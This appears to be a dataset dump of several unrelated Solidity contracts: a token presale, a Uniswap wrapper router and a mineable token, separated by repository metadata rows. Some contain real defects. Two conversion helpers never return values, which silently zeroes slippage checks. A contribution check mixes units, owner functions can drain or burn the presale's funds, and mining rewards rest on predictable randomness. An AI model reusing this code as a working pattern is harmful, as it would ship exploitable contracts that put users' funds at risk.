function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/libs/SafeBEP20.sol
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeBEP20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
// File: contracts/PDFPresale.sol
contract pDFPresale is ReentrancyGuard {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Maps user to the number of tokens owned
mapping(address => uint256) public tokensOwned;
// The number of unclaimed tokens the user has
mapping(address => uint256) public tokensUnclaimed;
mapping(address => bool) public Phasewhitelisted; // True if user is Phasewhitelisted
//token burn address
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
event SalePublished(uint256 block);
// PDF token
IBEP20 public PDF;
// USDC token
IBEP20 public USDC;
// Sale active
bool isSaleActive;
// true when presale is public
bool public isPublic;
// Total PDF sold
uint256 totalTokensSold = 0;
// Price of presale PDF, 0.000000048 USDC
uint256 TokenPerUSDC = 208333333;
// Amount of USDC received in presale
uint256 usdcReceived = 0;
uint256 HardCap = 100000 * 10 ** 6;
uint256 public mincontributionLimit = 20 * 10 ** 6;
uint256 public maxcontributionLimit = 500 * 10 ** 6;
uint256 public startTime = block.timestamp;
uint256 public endTime;
event TokenBuy(address user, uint256 tokens);
event TokenClaim(address user, uint256 tokens);
constructor(address _PDF,
address _USDC) public {
PDF = IBEP20(_PDF);
USDC = IBEP20(_USDC);
isSaleActive = false;
isPublic = false;
// owner = msg.sender;
// startTime = block.timestamp;
Phasewhitelisted[msg.sender] = true;
startTime = 1647698400; // 2022/3/19 12:00 UTC
endTime = 1648562400; // 2022/3/30 12:00 UTC
}
function addPhaseWhitelist(address _address) external onlyOwner {
Phasewhitelisted[_address] = true;
}
function addPhaseMultipleWhitelist(address[] calldata _addresses) external onlyOwner
{
require(_addresses.length <= 2000, "too many addresses");
for (uint256 i = 0; i < _addresses.length; i++) {
Phasewhitelisted[_addresses[i]] = true;
}
}
function removePhaseWhitelist(address _address) external onlyOwner {
Phasewhitelisted[_address] = false;
}
// @notice set public
function setPublic() external onlyOwner {
require(!isSaleActive, "Sale has already ended");
isPublic = true;
emit SalePublished(block.number);
}
function setMinMax(uint256 min, uint256 max) external onlyOwner{
require(!isSaleActive, "Sale has already ended");
mincontributionLimit = min;
maxcontributionLimit = max;
}
function setTokenPerUSDC(uint256 _TokenPerUSDC) external onlyOwner{
require(!isSaleActive, "Sale has already started");
TokenPerUSDC = _TokenPerUSDC;
}
function setSaleActive(bool _isSaleActive) external onlyOwner {
isSaleActive = _isSaleActive;
startTime = block.timestamp;
}
function saleActive() public view returns (bool) {
return isSaleActive;
}
function getTokenPerUSDC() public view returns (uint256) {
return TokenPerUSDC;
}
function getTotalTokensSold() public view returns (uint256) {
return totalTokensSold;
}
function updatePresaleTime(uint256 _startTime, uint256 _endTime) public onlyOwner {
require(!isSaleActive, "Sale has already started");
require(_startTime < _endTime, "endTime should be later than start time");
startTime = _startTime;
endTime = _endTime;
}
function setHardCap(uint256 _hardCap) public onlyOwner {
require(!isSaleActive, "Sale has already started");
HardCap = _hardCap;
}
function getHardCap() external view returns (uint256) {
return HardCap;
}
function getTokensOwned(address _user) external view returns (uint256) {
return tokensOwned[_user];
}
function getTokensUnclaimed(address _user) external view returns (uint256) {
return tokensUnclaimed[_user];
}
function getPDFTokensLeft() external view returns (uint256) {
return PDF.balanceOf(address(this));
}
function buy(uint256 _amount) public nonReentrant {
require(isSaleActive, "Presale has not started");
require(endTime > block.timestamp, "Presale has ended");
require (usdcReceived + _amount <= HardCap, "presale hardcap reached");
require(Phasewhitelisted[msg.sender] == true || isPublic,
"msg.sender is not whitelisted user");
require(_amount >= mincontributionLimit, "low amount than min");
require(_amount + (tokensOwned[msg.sender] * TokenPerUSDC) <= maxcontributionLimit, "high amount than max");
address _buyer = msg.sender;
uint256 tokens = _amount.mul(TokenPerUSDC);
USDC.safeTransferFrom(msg.sender, address(this), _amount);
tokensOwned[_buyer] = tokensOwned[_buyer].add(tokens);
tokensUnclaimed[_buyer] = tokensUnclaimed[_buyer].add(tokens);
totalTokensSold = totalTokensSold.add(tokens);
usdcReceived = usdcReceived.add(_amount);
//claim
require(PDF.balanceOf(address(this)) >= tokensUnclaimed[msg.sender], "There are not enough PDF tokens to transfer.");
uint256 callerTokensUnclaimed = tokensUnclaimed[msg.sender];
tokensUnclaimed[msg.sender] = 0;
PDF.safeTransfer(msg.sender, callerTokensUnclaimed);
emit TokenBuy(msg.sender, tokens);
}
function withdrawFunds() external onlyOwner {
USDC.safeTransfer(msg.sender, USDC.balanceOf(address(this)));
}
function withdrawUnsoldPDF() external onlyOwner {
uint256 amount = PDF.balanceOf(address(this)) - totalTokensSold;
PDF.safeTransfer(msg.sender, amount);
}
function AllBurnPDF() external onlyOwner {
PDF.safeTransfer(burnAddress, PDF.balanceOf(address(this)));
}
}
| 76,244 | 373 |
430cbb03317c6def0b2d46d5d9629faff8e2f4f3d3a937b1214586d714a5786f
| 14,765 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/d7/d74242ba7b064bfde02393a04f90e28e2760fb01_UniswapV2MetaRouter02.sol
| 3,181 | 12,932 |
pragma solidity =0.6.6;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut, uint fee) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut, uint fee) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IEleBank{
function deposit(uint[] calldata amounts) external;
function withdraw(uint share, uint8) external;
function getPricePerFullShare() view external returns(uint);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
contract UniswapV2MetaRouter02 is Ownable {
using SafeMath for uint;
address public immutable router;
mapping(address=>address) public bank;
constructor(address _router) public {
router = _router;
}
function setBank(address _token, address _bank) external onlyOwner{
bank[_token] = _bank;
}
function depositToBank(address _token, address _bank) internal returns(uint _shares){
IERC20 token = IERC20(_token);
uint balance = token.balanceOf(address(this));
token.approve(_bank,balance);
uint[] memory amounts = new uint[](1);
amounts[0] = balance;
IEleBank(_bank).deposit(amounts);
_shares = IERC20(_bank).balanceOf(address(this));
}
function withdrawFromBank(address _token, address _bank) internal returns(uint _amount){
uint bAm = IERC20(_bank).balanceOf(address(this));
IEleBank(_bank).withdraw(bAm,0);
_amount = IERC20(_token).balanceOf(address(this));
}
function convertToBank(address _bank, uint _amount) internal view returns(uint){
_amount.mul(1 ether)/(IEleBank(_bank).getPricePerFullShare());
}
function convertToUnderlying(address _bank, uint _amount) internal view returns(uint){
_amount.mul(IEleBank(_bank).getPricePerFullShare())/(1 ether);
}
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity){
TransferHelper.safeTransferFrom(tokenA, msg.sender, address(this), amountADesired);
TransferHelper.safeTransferFrom(tokenB, msg.sender, address(this), amountBDesired);
address bankTokenA = bank[tokenA];
address bankTokenB = bank[tokenB];
amountA = amountADesired;
amountB = amountBDesired;
amountADesired = depositToBank(tokenA,bankTokenA);
amountBDesired = depositToBank(tokenB,bankTokenB);
amountAMin = convertToBank(bankTokenA, amountAMin);
amountBMin = convertToBank(bankTokenB, amountBMin);
IERC20(bankTokenA).approve(router, amountADesired);
IERC20(bankTokenB).approve(router, amountBDesired);
(, , liquidity) = IUniswapV2Router02(router).addLiquidity(bankTokenA, bankTokenB, amountADesired, amountBDesired, 0, 0, to, deadline);
amountA = amountA.sub(withdrawFromBank(tokenA, bankTokenA));
amountB = amountB.sub(withdrawFromBank(tokenB, bankTokenB));
IERC20(tokenA).transfer(msg.sender, amountA);
IERC20(tokenB).transfer(msg.sender, amountB);
}
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external virtual returns (uint[] memory amounts) {
require(path.length == 2, "Complex routes not supported yet");
address underlyingToken0 = path[0];
address underlyingToken1 = path[1];
TransferHelper.safeTransferFrom(underlyingToken0, msg.sender, address(this), amountIn);
address bank0 = bank[underlyingToken0];
address bank1 = bank[underlyingToken1];
address[] memory newPath = new address[](2);
if(bank0 != address(0)){
newPath[0] = bank0;
amountIn = depositToBank(underlyingToken0, bank0);
}
else
newPath[0] = underlyingToken0;
if(bank1 != address(0)){
newPath[1] = bank1;
amountOutMin = convertToBank(bank1,amountOutMin);
}
else
newPath[1] = underlyingToken1;
IERC20(newPath[0]).approve(router,amountIn);
IUniswapV2Router02(router).swapExactTokensForTokens(amountIn, amountOutMin, newPath, address(this), deadline);
if(bank1 != address(0)){
uint shares = IERC20(bank1).balanceOf(address(this));
IEleBank(bank1).withdraw(shares,0);
}
uint underlying = IERC20(underlyingToken1).balanceOf(address(this));
amounts = new uint[](1);
amounts[0] = underlying;
IERC20(underlyingToken1).transfer(to, underlying);
}
}
| 87,587 | 374 |
fb3eb3aa941c98a632b7a8472e8f34fac0297b729d7ce3c3867a8f6454b2385e
| 22,571 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_1.sol
| 4,603 | 19,008 |
pragma solidity ^0.4.23;
// Symbol : GZM
// Name : Arma Coin
// Max supply: 1,000,000,000.00
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
return c;
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function getChallengeNumber() public view returns (bytes32);
function getMiningDifficulty() public view returns (uint);
function getMiningTarget() public view returns (uint);
function getMiningReward() public view returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _RowanCoin is ERC20Interface, EIP918Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _maxSupply;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**224;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
// a bunch of maps to know where this is going (pun intended)
uint public _MAX_MESSAGE_LENGTH = 360;
mapping(bytes32 => bytes32) public solutionForChallenge;
mapping(uint => uint) public targetForEpoch;
mapping(uint => uint) public timeStampForEpoch;
mapping(address => uint) balances;
mapping(address => address) donationsTo;
mapping(address => mapping(address => uint)) allowed;
mapping(address => string) public messages;
event Donation(address donation);
event DonationAddressOf(address donator, address donnationAddress);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public{
symbol = "GZM";
name = "Arma Coin";
decimals = 8;
epochCount = 0;
_maxSupply = 1000000000*10**uint(decimals);
_totalSupply = 300000000*10**uint(decimals);
targetForEpoch[epochCount] = _MAXIMUM_TARGET;
challengeNumber = "GENESIS_BLOCK";
solutionForChallenge[challengeNumber] = "42"; // ahah yes
timeStampForEpoch[epochCount] = block.timestamp;
latestDifficultyPeriodStarted = block.number;
epochCount = epochCount.add(1);
targetForEpoch[epochCount] = _MAXIMUM_TARGET;
miningTarget = _MAXIMUM_TARGET;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce);
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challenge_digest];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
// minting limit is _maxSupply
require (_totalSupply.add(reward_amount) <= _maxSupply);
balances[msg.sender] = balances[msg.sender].add(reward_amount);
_totalSupply = _totalSupply.add(reward_amount);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, epochCount, challengeNumber);
return true;
}
function strConcat(string _a, string _b) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory ba = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) ba[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) ba[k++] = _bb[i];
return string(ba);
}
function addMessage(address advertiser, string newMessage) public {
bytes memory bs = bytes(newMessage);
require (bs.length <= _MAX_MESSAGE_LENGTH);
require (balances[msg.sender] >= 100000000);
balances[msg.sender] = balances[msg.sender].sub(100000000);
balances[advertiser] = balances[advertiser].add(100000000);
messages[advertiser] = strConcat(messages[advertiser], "\n");
messages[advertiser] = strConcat(messages[advertiser], newMessage);
emit Transfer(msg.sender, advertiser, 100000000);
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
timeStampForEpoch[epochCount] = block.timestamp;
epochCount = epochCount.add(1);
//Difficulty adjustment following the DigiChieldv3 implementation (Tempered-SMA)
// Allows more thorough protection against multi-pool hash attacks
// https://github.com/zawy12/difficulty-algorithms/issues/9
miningTarget = _reAdjustDifficulty(epochCount);
//do this last since this is a protection mechanism in the mint() function
challengeNumber = blockhash(block.number.sub(1));
}
//https://github.com/zawy12/difficulty-algorithms/issues/21
//readjust the target via a tempered EMA
function _reAdjustDifficulty(uint epoch) internal returns (uint) {
uint timeTarget = 300; // We want miners to spend 5 minutes to mine each 'block'
uint N = 6180; //N = 1000*n, ratio between timeTarget and windowTime (31-ish minutes)
// (Ethereum doesn't handle floating point numbers very well)
uint elapsedTime = timeStampForEpoch[epoch.sub(1)].sub(timeStampForEpoch[epoch.sub(2)]); // will revert if current timestamp is smaller than the previous one
targetForEpoch[epoch] = (targetForEpoch[epoch.sub(1)].mul(10000)).div(N.mul(3920).div(N.sub(1000).add(elapsedTime.mul(1042).div(timeTarget))).add(N));
latestDifficultyPeriodStarted = block.number;
return targetForEpoch[epoch];
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(targetForEpoch[epochCount]);
}
function getMiningTarget() public constant returns (uint) {
return targetForEpoch[epochCount];
}
//There's no limit to the coin supply
function getMiningReward() public constant returns (uint) {
bytes32 digest = solutionForChallenge[challengeNumber];
if(epochCount > 160000) return (50000 * 10**uint(decimals)); // 14.4 M/day / ~ 1.0B Tokens in 20'000 blocks (coin supply @100'000th block ~ 150 Billions)
if(epochCount > 140000) return (75000 * 10**uint(decimals)); // 21.6 M/day / ~ 1.5B Tokens in 20'000 blocks (coin supply @100'000th block ~ 149 Billions)
if(epochCount > 120000) return (125000 * 10**uint(decimals)); // 36.0 M/day / ~ 2.5B Tokens in 20'000 blocks (coin supply @100'000th block ~ 146 Billions)
if(epochCount > 100000) return (250000 * 10**uint(decimals));
if(epochCount > 80000) return (500000 * 10**uint(decimals)); // 144.0 M/day / ~10.0B Tokens in 20'000 blocks (coin supply @ 80'000th block ~ 131 Billions)
if(epochCount > 60000) return (1000000 * 10**uint(decimals)); // 288.0 M/day / ~20.0B Tokens in 20'000 blocks (coin supply @ 60'000th block ~ 111 Billions)
if(epochCount > 40000) return ((uint256(keccak256(digest)) % 2500000) * 10**uint(decimals)); // 360.0 M/day / ~25.0B Tokens in 20'000 blocks (coin supply @ 40'000th block ~ 86 Billions)
if(epochCount > 20000) return ((uint256(keccak256(digest)) % 3500000) * 10**uint(decimals)); // 504.0 M/day / ~35.0B Tokens in 20'000 blocks (coin supply @ 20'000th block ~ 51 Billions)
return ((uint256(keccak256(digest)) % 5000000) * 10**uint(decimals)); // 720.0 M/day / ~50.0B Tokens in 20'000 blocks
}
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
